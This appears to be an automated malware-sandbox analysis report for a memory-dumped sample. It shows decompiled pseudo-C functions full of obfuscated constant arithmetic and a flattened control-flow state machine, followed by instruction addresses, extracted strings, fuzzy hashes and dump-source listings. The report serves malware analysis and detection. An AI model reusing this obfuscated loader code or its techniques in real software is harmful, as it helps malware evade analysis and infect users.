Similarity

API ID:
String ID: ^"}w$5?T$YH$^"}w$`Q$c5S1$ky$v'$9
API String ID: 0-441490596
Opcode ID: e82765ee6a28e89cf706fd1ad8a1f87c77fe2101d1fb585b8c8d5428a15e4cec
Instruction ID: c5ea0e8e6695d8109eb8cd66fb7fa50f08d0dc301f5989e1e3e9b745ab02413e
Opcode Fuzzy Hash: e82765ee6a28e89cf706fd1ad8a1f87c77fe2101d1fb585b8c8d5428a15e4cec
Instruction Fuzzy Hash: 046211725083808FD3B4DF25C88AB8FBBE1BBC4358F108A1DE5D996260D7B59849DF42

Uniqueness

Uniqueness Score: -1.00%

Function 00FB40FE, Relevance: 11.6, Strings: 9, Instructions: 319
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00FB40FE(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				void* _t331;
				void* _t375;
				signed int _t382;
				void* _t407;
				signed int _t408;
				signed int _t409;
				signed int _t410;
				signed int _t411;
				signed int _t412;
				signed int* _t416;

				_push(_a12);
				_t407 = 0;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(0);
				E00FA358A(_t331);
				_v1680 = 0xecc6df;
				_t416 =  &(( &_v1708)[5]);
				_t375 = 0x2bbbb5c;
				_t408 = 0x4f;
				_v1680 = _v1680 / _t408;
				_t409 = 0x69;
				_v1680 = _v1680 / _t409;
				_t410 = 0x29;
				_v1680 = _v1680 / _t410;
				_v1680 = _v1680 ^ 0x00000004;
				_v1672 = 0xf0f001;
				_v1672 = _v1672 << 5;
				_v1672 = _v1672 + 0xae5;
				_v1672 = _v1672 << 9;
				_v1672 = _v1672 ^ 0x3c166f75;
				_v1592 = 0xef70fc;
				_v1592 = _v1592 ^ 0x00e587e5;
				_v1600 = 0xc7a853;
				_v1600 = _v1600 >> 2;
				_v1600 = _v1600 ^ 0x003a93a3;
				_v1604 = 0x8b40bb;
				_v1604 = _v1604 + 0xfffff760;
				_v1604 = _v1604 ^ 0x008a5254;
				_v1700 = 0x24f303;
				_v1700 = _v1700 << 0xd;
				_v1700 = _v1700 + 0x1ce0;
				_v1700 = _v1700 ^ 0x887eb559;
				_v1700 = _v1700 ^ 0x161c5beb;
				_v1668 = 0x1c09b;
				_v1668 = _v1668 + 0xffff9686;
				_t411 = 0x5a;
				_v1668 = _v1668 * 0x4f;
				_v1668 = _v1668 | 0x6f375f79;
				_v1668 = _v1668 ^ 0x6f732305;
				_v1648 = 0x526155;
				_t68 =  &_v1648; // 0x526155
				_v1648 =  *_t68 / _t411;
				_t74 =  &_v1648; // 0x526155
				_v1648 =  *_t74 * 0x60;
				_v1648 = _v1648 ^ 0x0055ba2e;
				_v1568 = 0x4a97ea;
				_v1568 = _v1568 + 0x2d7f;
				_v1568 = _v1568 ^ 0x00446384;
				_v1624 = 0xc328b6;
				_v1624 = _v1624 >> 6;
				_v1624 = _v1624 << 6;
				_v1624 = _v1624 ^ 0x00caf265;
				_v1676 = 0x3bb87e;
				_v1676 = _v1676 + 0xffff6c80;
				_v1676 = _v1676 + 0xffff9524;
				_v1676 = _v1676 + 0xb2c3;
				_v1676 = _v1676 ^ 0x00310521;
				_v1640 = 0x4e39af;
				_v1640 = _v1640 + 0xdee0;
				_v1640 = _v1640 + 0xffffeea0;
				_v1640 = _v1640 ^ 0x0045c51b;
				_v1596 = 0x52ccd5;
				_v1596 = _v1596 + 0xffff320b;
				_v1596 = _v1596 ^ 0x005c4e46;
				_v1616 = 0xf0f3d9;
				_v1616 = _v1616 + 0xffff715e;
				_t412 = 0x3f;
				_v1616 = _v1616 * 0x30;
				_v1616 = _v1616 ^ 0x2d12086a;
				_v1660 = 0x386db;
				_v1660 = _v1660 + 0xffff8cc4;
				_v1660 = _v1660 + 0x498d;
				_v1660 = _v1660 + 0x2c05;
				_v1660 = _v1660 ^ 0x00039de5;
				_v1632 = 0xb94b21;
				_v1632 = _v1632 + 0xffff4c5b;
				_v1632 = _v1632 | 0xe8e62b69;
				_v1632 = _v1632 ^ 0xe8ff0f89;
				_v1608 = 0x9c5f73;
				_v1608 = _v1608 | 0x895c27c8;
				_v1608 = _v1608 ^ 0x89d87d16;
				_v1692 = 0xe8cb31;
				_v1692 = _v1692 * 0x48;
				_v1692 = _v1692 >> 0xb;
				_v1692 = _v1692 >> 3;
				_v1692 = _v1692 ^ 0x0006842c;
				_v1708 = 0xfe5917;
				_v1708 = _v1708 | 0xb795fffe;
				_v1708 = _v1708 + 0xffff65ed;
				_v1708 = _v1708 ^ 0xb7f6fe94;
				_v1652 = 0xd35f26;
				_v1652 = _v1652 >> 8;
				_v1652 = _v1652 + 0xffffa85d;
				_v1652 = _v1652 ^ 0x000fd654;
				_v1684 = 0x27517b;
				_v1684 = _v1684 + 0xb977;
				_v1684 = _v1684 >> 0xd;
				_v1684 = _v1684 << 7;
				_v1684 = _v1684 ^ 0x000ec1c8;
				_v1636 = 0x26e56b;
				_v1636 = _v1636 >> 4;
				_v1636 = _v1636 + 0xb334;
				_v1636 = _v1636 ^ 0x000b354a;
				_v1696 = 0x89fe17;
				_v1696 = _v1696 + 0xffffbbc1;
				_v1696 = _v1696 ^ 0x5075d2e6;
				_v1696 = _v1696 | 0x813b6067;
				_v1696 = _v1696 ^ 0xd1f21b8c;
				_v1564 = 0x14e340;
				_v1564 = _v1564 * 0x12;
				_v1564 = _v1564 ^ 0x01745609;
				_v1644 = 0x6df290;
				_v1644 = _v1644 | 0xf494ce0e;
				_v1644 = _v1644 + 0xb612;
				_v1644 = _v1644 ^ 0xf4ff3c1d;
				_v1704 = 0x9cf2ce;
				_v1704 = _v1704 + 0x46da;
				_v1704 = _v1704 + 0xffffda6c;
				_v1704 = _v1704 | 0x89d54bb7;
				_v1704 = _v1704 ^ 0x89d09b04;
				_v1588 = 0x49e131;
				_t209 =  &_v1588; // 0x49e131
				_v1588 =  *_t209 / _t412;
				_v1588 = _v1588 ^ 0x000d8a6e;
				_v1572 = 0x93642;
				_t218 =  &_v1572; // 0x93642
				_v1572 =  *_t218 * 0x39;
				_v1572 = _v1572 ^ 0x0209c809;
				_v1580 = 0x50d007;
				_v1580 = _v1580 | 0x2637a38d;
				_v1580 = _v1580 ^ 0x2675adab;
				_v1688 = 0x9d1e8f;
				_v1688 = _v1688 + 0x8b64;
				_v1688 = _v1688 << 0xb;
				_v1688 = _v1688 ^ 0xc479de2b;
				_v1688 = _v1688 ^ 0x293a1d3c;
				_v1620 = 0x2368c2;
				_v1620 = _v1620 ^ 0x12e92793;
				_v1620 = _v1620 + 0xffffecf1;
				_v1620 = _v1620 ^ 0x12cded03;
				_v1628 = 0xbb0a3e;
				_v1628 = _v1628 << 0xc;
				_v1628 = _v1628 | 0x8e0ba2db;
				_v1628 = _v1628 ^ 0xbeace13e;
				_v1576 = 0x861d4d;
				_v1576 = _v1576 + 0xffffc741;
				_v1576 = _v1576 ^ 0x008649c7;
				_v1612 = 0x27acf0;
				_v1612 = _v1612 * 0x11;
				_v1612 = _v1612 + 0x5464;
				_v1612 = _v1612 ^ 0x02ab43ea;
				_v1656 = 0xee29c8;
				_v1656 = _v1656 ^ 0x7fc9f939;
				_v1656 = _v1656 << 6;
				_v1656 = _v1656 * 0x35;
				_v1656 = _v1656 ^ 0xcf9fbfa9;
				_v1664 = 0xf6dd0c;
				_v1664 = _v1664 * 0x73;
				_v1664 = _v1664 | 0xdfbb7ddf;
				_v1664 = _v1664 ^ 0xfff795d4;
				_v1584 = 0x8afb45;
				_v1584 = _v1584 ^ 0x186a0676;
				_v1584 = _v1584 ^ 0x18ecce65;
				L1:
				while(_t375 != 0x2bbbb5c) {
					if(_t375 == 0x5f559ea) {
						_push(_v1684);
						_push(_v1652);
						_t413 = E00FBCD35(0xfa1130, _v1708, __eflags);
						E00FC23F2( &_v1560, __eflags);
						E00FBBEAA(_v1636, __eflags,  &_v520,  &_v1560, _v1696,  &_v1040, _v1564, _v1644, _v1704, _v1588, _t407,  *0xfc5218 + 0x18, _t355, _v1572,  *0xfc5218 + 0x234);
						_push(_v1628);
						_push(_v1620);
						_push(_v1688);
						_t382 = _v1580;
						L8:
						E00FB629F(_t382, _t413);
						_t416 =  &(_t416[0x10]);
						_t375 = 0xff417d9;
						continue;
					}
					if(_t375 == 0x8158fbb) {
						_push(_v1648);
						_push(_v1668);
						_t413 = E00FBCD35(0xfa1020, _v1700, __eflags);
						E00FC23F2( &_v1560, __eflags);
						__eflags =  *0xfc5218 + 0x234;
						E00FBE35F( *0xfc5218 + 0x18,  *0xfc5218 + 0x234, _v1568, _v1624, _v1676, 0x104, _v1640,  &_v520,  &_v1560, _t365, _v1596,  *0xfc5218 + 0x234, _v1616);
						_push(_v1692);
						_push(_v1608);
						_push(_v1632);
						_t382 = _v1660;
						goto L8;
					}
					if(_t375 == 0xff417d9) {
						_push(_t375);
						__eflags = E00FBEA55( &_v520, _v1576, __eflags, _v1612, _t407, _v1656, _t407, _v1664, _v1584, _t407);
						_t407 =  !=  ? 1 : _t407;
					} else {
						if(_t375 != 0x299b4b9) {
							continue;
						} else {
						}
					}
					return _t407;
				}
				E00FAB3B4(_v1672, _t375, _v1592, _t375, _v1600,  &_v1040, _v1604, _v1680);
				_t416 =  &(_t416[7]);
				_t375 = 0x8158fbb;
				goto L1;
			}

0x00fb4108
0x00fb410f
0x00fb4111
0x00fb4118
0x00fb411f
0x00fb4120
0x00fb4121
0x00fb4126
0x00fb412e
0x00fb4137
0x00fb413e
0x00fb4143
0x00fb414d
0x00fb4152
0x00fb415c
0x00fb4161
0x00fb4167
0x00fb416c
0x00fb4174
0x00fb4179
0x00fb4181
0x00fb4186
0x00fb418e
0x00fb41a7
0x00fb41b2
0x00fb41bd
0x00fb41c5
0x00fb41d0
0x00fb41d8
0x00fb41e0
0x00fb41e8
0x00fb41f0
0x00fb41f5
0x00fb41fd
0x00fb4205
0x00fb420d
0x00fb4215
0x00fb4222
0x00fb4223
0x00fb4227
0x00fb422f
0x00fb4237
0x00fb423f
0x00fb4245
0x00fb4249
0x00fb424e
0x00fb4252
0x00fb425a
0x00fb4265
0x00fb4270
0x00fb427b
0x00fb4283
0x00fb4288
0x00fb428d
0x00fb4295
0x00fb429d
0x00fb42a5
0x00fb42ad
0x00fb42b5
0x00fb42bd
0x00fb42c7
0x00fb42cf
0x00fb42d7
0x00fb42df
0x00fb42ea
0x00fb42f5
0x00fb4300
0x00fb4308
0x00fb4317
0x00fb4318
0x00fb431c
0x00fb4324
0x00fb432c
0x00fb4334
0x00fb433c
0x00fb4344
0x00fb434c
0x00fb4354
0x00fb435c
0x00fb4364
0x00fb436c
0x00fb4374
0x00fb437c
0x00fb4384
0x00fb4391
0x00fb4395
0x00fb439a
0x00fb439f
0x00fb43a7
0x00fb43af
0x00fb43b7
0x00fb43bf
0x00fb43c7
0x00fb43cf
0x00fb43d4
0x00fb43dc
0x00fb43e4
0x00fb43ec
0x00fb43f4
0x00fb43f9
0x00fb43fe
0x00fb4406
0x00fb440e
0x00fb4413
0x00fb441b
0x00fb4423
0x00fb442b
0x00fb4433
0x00fb443b
0x00fb4443
0x00fb444b
0x00fb445e
0x00fb4465
0x00fb4470
0x00fb4478
0x00fb4480
0x00fb4488
0x00fb4490
0x00fb4498
0x00fb44a0
0x00fb44a8
0x00fb44b0
0x00fb44b8
0x00fb44c3
0x00fb44cc
0x00fb44d3
0x00fb44de
0x00fb44e9
0x00fb44f1
0x00fb44f8
0x00fb4503
0x00fb450e
0x00fb4519
0x00fb4524
0x00fb452c
0x00fb4539
0x00fb4543
0x00fb454b
0x00fb4553
0x00fb455b
0x00fb4563
0x00fb456b
0x00fb4573
0x00fb457b
0x00fb4580
0x00fb4588
0x00fb4590
0x00fb459b
0x00fb45a6
0x00fb45b1
0x00fb45be
0x00fb45c2
0x00fb45ca
0x00fb45d2
0x00fb45da
0x00fb45e2
0x00fb45ec
0x00fb45f0
0x00fb45f8
0x00fb4605
0x00fb4609
0x00fb4611
0x00fb4619
0x00fb4624
0x00fb462f
0x00000000
0x00fb463a
0x00fb464c
0x00fb4710
0x00fb4719
0x00fb472f
0x00fb4731
0x00fb478c
0x00fb4791
0x00fb4798
0x00fb479f
0x00fb47a3
0x00fb46ff
0x00fb4701
0x00fb4706
0x00fb4709
0x00000000
0x00fb4709
0x00fb4654
0x00fb466b
0x00fb4674
0x00fb4688
0x00fb468a
0x00fb469f
0x00fb46e1
0x00fb46e6
0x00fb46ea
0x00fb46f1
0x00fb46f8
0x00000000
0x00fb46f8
0x00fb4658
0x00fb47e2
0x00fb4815
0x00fb4817
0x00fb465e
0x00fb4664
0x00000000
0x00000000
0x00fb4666
0x00fb4664
0x00fb4826
0x00fb4826
0x00fb47d3
0x00fb47d8
0x00fb47db
0x00000000

Strings

k&, xrefs: 00FB4406
i+, xrefs: 00FB435C
y_7o, xrefs: 00FB4227
FN\, xrefs: 00FB42F5
dT, xrefs: 00FB45C2
UaR, xrefs: 00FB423F
1I, xrefs: 00FB44C3
{Q', xrefs: 00FB43E4
B6, xrefs: 00FB44E9

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 1I$B6$FN\$UaR$dT$i+$k&$y_7o${Q'
API String ID: 0-1837524644
Opcode ID: 0e6fff2f6f684a68c0e43c566b394078ff7b0f132e6a43a41d97b410b016b280
Instruction ID: 809d0e8a74bed14ed80c8c73cbb9d4f78d824c4dfebb20fee065ee8702d8fc4f
Opcode Fuzzy Hash: 0e6fff2f6f684a68c0e43c566b394078ff7b0f132e6a43a41d97b410b016b280
Instruction Fuzzy Hash: 6D0211B14083809FD7A4CF65C98AA8BBBE1FBC5718F108A1DF1D986261D7B58949DF03

Uniqueness

Uniqueness Score: -1.00%

Function 00FB4CF5, Relevance: 11.5, Strings: 9, Instructions: 287
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00FB4CF5(intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v12;
				char _v16;
				char _v36;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char _v88;
				signed int _v92;
				char _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				void* _t259;
				void* _t288;
				void* _t290;
				signed int _t292;
				char* _t294;
				signed int _t295;
				signed int _t297;
				intOrPtr _t305;
				intOrPtr* _t308;
				void* _t310;
				signed int _t311;
				intOrPtr _t314;
				intOrPtr _t348;
				intOrPtr* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t356;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int* _t362;

				_t350 = _a12;
				_t308 = __ecx;
				_push(_t350);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_t259);
				_v80 = 0xd3edc3;
				_t362 =  &(( &_v184)[5]);
				_v76 = 0x5e605a;
				_t348 = 0;
				_v72 = 0x201dcb;
				_v68 = 0;
				_t310 = 0x8aa177e;
				_v148 = 0xb76f6d;
				_v148 = _v148 >> 0x10;
				_v148 = _v148 + 0x18ab;
				_t351 = 0x1e;
				_v148 = _v148 / _t351;
				_v148 = _v148 ^ 0x000000d8;
				_v116 = 0x6b0077;
				_t352 = 0x43;
				_v116 = _v116 / _t352;
				_t353 = 0x1b;
				_v116 = _v116 / _t353;
				_v116 = _v116 ^ 0x00000f34;
				_v156 = 0x38872e;
				_v156 = _v156 + 0xffff918e;
				_t354 = 0x3b;
				_v156 = _v156 / _t354;
				_v156 = _v156 + 0xffff85b1;
				_v156 = _v156 ^ 0x000d6d44;
				_v172 = 0x452f09;
				_v172 = _v172 + 0x4173;
				_v172 = _v172 + 0x5770;
				_v172 = _v172 | 0x316460a7;
				_v172 = _v172 ^ 0x316bcae2;
				_v108 = 0x3bea79;
				_v108 = _v108 | 0x81cfa252;
				_v108 = _v108 ^ 0x81fbf3ab;
				_v124 = 0xa928d9;
				_v124 = _v124 << 6;
				_v124 = _v124 | 0x6a232946;
				_v124 = _v124 ^ 0x6a67a584;
				_v140 = 0x984825;
				_v140 = _v140 ^ 0x456e5524;
				_v140 = _v140 >> 0xe;
				_v140 = _v140 ^ 0x00012cd5;
				_v112 = 0x5ddb92;
				_v112 = _v112 + 0xffff4224;
				_v112 = _v112 + 0x8c78;
				_v112 = _v112 ^ 0x00508e10;
				_v180 = 0x117291;
				_v180 = _v180 + 0xffffe0b6;
				_t355 = 0x1e;
				_v180 = _v180 * 0x22;
				_v180 = _v180 / _t355;
				_v180 = _v180 ^ 0x0010096b;
				_v128 = 0x2232b8;
				_v128 = _v128 | 0x861d190a;
				_t356 = 0x1b;
				_v128 = _v128 / _t356;
				_v128 = _v128 ^ 0x04f1c2b9;
				_v184 = 0x193996;
				_t357 = 0x5b;
				_v184 = _v184 * 0x73;
				_v184 = _v184 + 0xffffa085;
				_v184 = _v184 | 0x88b629a7;
				_v184 = _v184 ^ 0x8bff06e0;
				_v164 = 0x969355;
				_v164 = _v164 >> 0xb;
				_v164 = _v164 * 0x1f;
				_v164 = _v164 + 0xffff37be;
				_v164 = _v164 ^ 0x0000e5b0;
				_v132 = 0x3ff47d;
				_v132 = _v132 >> 0x10;
				_v132 = _v132 + 0xffff6f11;
				_v132 = _v132 ^ 0xfff834b1;
				_v160 = 0x3ec58e;
				_v160 = _v160 | 0x66c27e62;
				_v160 = _v160 * 0x31;
				_v160 = _v160 + 0xffff85ff;
				_v160 = _v160 ^ 0xb6c79e62;
				_v104 = 0xeb81be;
				_v104 = _v104 / _t357;
				_v104 = _v104 ^ 0x00072f15;
				_v168 = 0xb75583;
				_v168 = _v168 + 0x12dd;
				_t358 = 0x36;
				_v168 = _v168 / _t358;
				_t359 = 0x13;
				_v168 = _v168 / _t359;
				_v168 = _v168 ^ 0x00071b18;
				_v176 = 0xdeab00;
				_v176 = _v176 * 0x16;
				_v176 = _v176 * 0x1e;
				_v176 = _v176 << 7;
				_v176 = _v176 ^ 0x086543d8;
				_v136 = 0x6f9847;
				_v136 = _v136 ^ 0xbf126c38;
				_v136 = _v136 + 0xffff2dd4;
				_v136 = _v136 ^ 0xbf77b4f6;
				_v120 = 0x2e3775;
				_v120 = _v120 << 0x10;
				_v120 = _v120 >> 8;
				_v120 = _v120 ^ 0x00362632;
				_v152 = 0x484ea5;
				_v152 = _v152 + 0xffff4c40;
				_v152 = _v152 + 0xffff3acc;
				_v152 = _v152 << 0xd;
				_v152 = _v152 ^ 0xdab37ebc;
				_v100 = 0x9800f0;
				_v100 = _v100 >> 4;
				_v100 = _v100 ^ 0x00041cf0;
				_v144 = 0xf6edc9;
				_v144 = _v144 * 0x29;
				_v144 = _v144 >> 0xf;
				_v144 = _v144 >> 1;
				_v144 = _v144 ^ 0x00051e01;
				while(_t310 != 0x26f300b) {
					if(_t310 == 0x3aef716) {
						_t290 = E00FBB677(_v156,  &_v88, _v172,  &_v96, _v108, _v124);
						_t362 =  &(_t362[4]);
						if(_t290 == 0) {
							L26:
							return _t348;
						}
						_t310 = 0x7fc7eaa;
						continue;
					}
					if(_t310 == 0x7562fb8) {
						_t292 =  *((intOrPtr*)(_t308 + 4));
						_t314 =  *_t308;
						_v92 = _t292;
						_v96 = _t314;
						_t294 = _t292 - 1 + _t314;
						while(_t294 > _t314) {
							if( *_t294 == 0) {
								break;
							}
							_t294 = _t294 - 1;
						}
						_t295 = _t294 - _t314;
						_v92 = _t295;
						if(_t295 == 0) {
							L16:
							_t310 = 0x3aef716;
							continue;
						}
						while(_v92 % _v116 != _v148) {
							_t230 =  &_v92;
							 *_t230 = _v92 - 1;
							if( *_t230 != 0) {
								continue;
							}
							goto L16;
						}
						goto L16;
					}
					if(_t310 == 0x7fc7eaa) {
						_t297 = E00FBE10A( &_v64, _v140,  &_v88, _v112, _v180);
						_t362 =  &(_t362[3]);
						asm("sbb ecx, ecx");
						_t310 = ( ~_t297 & 0xf9d2b2b1) + 0x89c7d5a;
						continue;
					}
					if(_t310 == 0x89c7d5a) {
						E00FAAE43(_v88, _v100, _v144);
						goto L26;
					}
					if(_t310 != 0x8aa177e) {
						L23:
						if(_t310 != 0x4f66e9f) {
							continue;
						}
						goto L26;
					}
					_t310 = 0x7562fb8;
				}
				_t311 = _v128;
				_t288 = E00FB0E97(_t311, _v184,  &_v16, _v164,  &_v36, _v132);
				_t362 =  &(_t362[4]);
				if(_t288 != 0) {
					_push(_t311);
					_push(_t311);
					_t305 = E00FB5212(_v12);
					_t362 =  &(_t362[3]);
					 *_t350 = _t305;
					if(_t305 != 0) {
						E00FC2C81(_v136, _v16, _v120,  *_t350, _v152, _v12);
						_t362 =  &(_t362[4]);
						 *((intOrPtr*)(_t350 + 4)) = _v12;
						_t348 = 1;
					}
				}
				_t310 = 0x89c7d5a;
				goto L23;
			}

0x00fb4cfe
0x00fb4d05
0x00fb4d08
0x00fb4d09
0x00fb4d10
0x00fb4d17
0x00fb4d18
0x00fb4d19
0x00fb4d1e
0x00fb4d29
0x00fb4d2c
0x00fb4d34
0x00fb4d36
0x00fb4d43
0x00fb4d4a
0x00fb4d4f
0x00fb4d57
0x00fb4d5c
0x00fb4d6a
0x00fb4d6f
0x00fb4d75
0x00fb4d7d
0x00fb4d89
0x00fb4d8e
0x00fb4d98
0x00fb4d9d
0x00fb4da3
0x00fb4dab
0x00fb4db3
0x00fb4dbf
0x00fb4dc4
0x00fb4dc8
0x00fb4dd0
0x00fb4dd8
0x00fb4de0
0x00fb4de8
0x00fb4df0
0x00fb4df8
0x00fb4e00
0x00fb4e08
0x00fb4e10
0x00fb4e18
0x00fb4e20
0x00fb4e25
0x00fb4e2d
0x00fb4e35
0x00fb4e3d
0x00fb4e45
0x00fb4e4a
0x00fb4e52
0x00fb4e5a
0x00fb4e62
0x00fb4e6a
0x00fb4e72
0x00fb4e7a
0x00fb4e89
0x00fb4e8a
0x00fb4e96
0x00fb4e9c
0x00fb4ea4
0x00fb4eac
0x00fb4eb8
0x00fb4ebd
0x00fb4ec3
0x00fb4ecb
0x00fb4ed8
0x00fb4edb
0x00fb4edf
0x00fb4ee7
0x00fb4eef
0x00fb4ef7
0x00fb4eff
0x00fb4f09
0x00fb4f0d
0x00fb4f15
0x00fb4f1d
0x00fb4f25
0x00fb4f2a
0x00fb4f32
0x00fb4f3a
0x00fb4f42
0x00fb4f4f
0x00fb4f53
0x00fb4f5b
0x00fb4f63
0x00fb4f73
0x00fb4f77
0x00fb4f7f
0x00fb4f87
0x00fb4f93
0x00fb4f98
0x00fb4fa2
0x00fb4fa5
0x00fb4fa9
0x00fb4fb1
0x00fb4fbe
0x00fb4fc7
0x00fb4fcb
0x00fb4fd0
0x00fb4fd8
0x00fb4fe0
0x00fb4fe8
0x00fb4ff0
0x00fb4ff8
0x00fb5000
0x00fb5005
0x00fb500a
0x00fb5012
0x00fb501a
0x00fb5022
0x00fb502a
0x00fb502f
0x00fb5037
0x00fb503f
0x00fb5044
0x00fb504c
0x00fb505e
0x00fb5062
0x00fb5067
0x00fb506b
0x00fb5073
0x00fb5085
0x00fb5145
0x00fb514a
0x00fb514f
0x00fb5205
0x00fb5211
0x00fb5211
0x00fb5155
0x00000000
0x00fb5155
0x00fb5091
0x00fb50e6
0x00fb50e9
0x00fb50eb
0x00fb50f0
0x00fb50f4
0x00fb50fe
0x00fb50fb
0x00000000
0x00000000
0x00fb50fd
0x00fb50fd
0x00fb5102
0x00fb5104
0x00fb5108
0x00fb5122
0x00fb5122
0x00000000
0x00fb5122
0x00fb510a
0x00fb511c
0x00fb511c
0x00fb5120
0x00000000
0x00000000
0x00000000
0x00fb5120
0x00000000
0x00fb510a
0x00fb5099
0x00fb50ce
0x00fb50d3
0x00fb50da
0x00fb50e2
0x00000000
0x00fb50e2
0x00fb509d
0x00fb51ff
0x00000000
0x00fb5204
0x00fb50a9
0x00fb51e5
0x00fb51eb
0x00000000
0x00000000
0x00000000
0x00fb51f1
0x00fb50af
0x00fb50af
0x00fb517a
0x00fb517f
0x00fb5184
0x00fb5189
0x00fb519b
0x00fb519c
0x00fb51a4
0x00fb51a9
0x00fb51ac
0x00fb51b0
0x00fb51ce
0x00fb51dc
0x00fb51df
0x00fb51e2
0x00fb51e2
0x00fb51b0
0x00fb51e3
0x00000000

Strings

Z`^, xrefs: 00FB4D2C
2&6, xrefs: 00FB500A
pW, xrefs: 00FB4DE8
F)#j, xrefs: 00FB4E25
y;, xrefs: 00FB4E00
/E, xrefs: 00FB4DD8
$UnE, xrefs: 00FB4E3D
Dm, xrefs: 00FB4DD0
w, xrefs: 00FB4D7D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: /E$$UnE$2&6$Dm$F)#j$Z`^$pW$w$y;
API String ID: 0-2659286561
Opcode ID: eb232d921aa259a47cfbb9dac2200ea62c64db5d62b80a9a6b33fc8c66c40815
Instruction ID: 07a6ce5bb660ca996312058199dad7291b37f7f394c3d3ac0f3fad3b10bd6401
Opcode Fuzzy Hash: eb232d921aa259a47cfbb9dac2200ea62c64db5d62b80a9a6b33fc8c66c40815
Instruction Fuzzy Hash: C0D162B15083819FD364CF26C889A5BFBE1FBD4758F408A1DF58686260D7B5C948DF42

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB6070, Relevance: 10.9, Strings: 8, Instructions: 927COMMON

Download Yara Rule

Strings

H, xrefs: 6EDB61A9
_, xrefs: 6EDBA51B
_, xrefs: 6EDBA50B
" fn( -> = { }truefalse{0x, xrefs: 6EDBA6D9
)C,, xrefs: 6EDBA3BD
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB64D9
called `Option::unwrap()` on a `None` value, xrefs: 6EDBA86F
{recursion limit reached}{invalid syntax}, xrefs: 6EDBA605

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: " fn( -> = { }truefalse{0x$)C,$?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$H$_$_$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 0-4270729952
Opcode ID: 3194f800a444e1c7189561507d0881ab2ef13262754e9b1efea49b6c328dadfb
Instruction ID: 4326c5f4b6b9b3963023009f9879f7137f3ecb6987a5793bda0bd2c8ac5c8f17
Opcode Fuzzy Hash: 3194f800a444e1c7189561507d0881ab2ef13262754e9b1efea49b6c328dadfb
Instruction Fuzzy Hash: E862EFF16187058FEB54CFA9C45075EB7E6AF85344F04892DE8AB8B385F771D80A8B42

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB77B4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDB78E3
__aulldiv.LIBCMT ref: 6EDB78F3

Strings

bool, xrefs: 6EDB7A4B
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDB77C2, 6EDB7C19
called `Option::unwrap()` on a `None` value, xrefs: 6EDB7B7C
{recursion limit reached}{invalid syntax}, xrefs: 6EDB7DC6

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a933e09606d7311994278810ccd79a35e3e8345eafcb9e9ba506480375c49da3
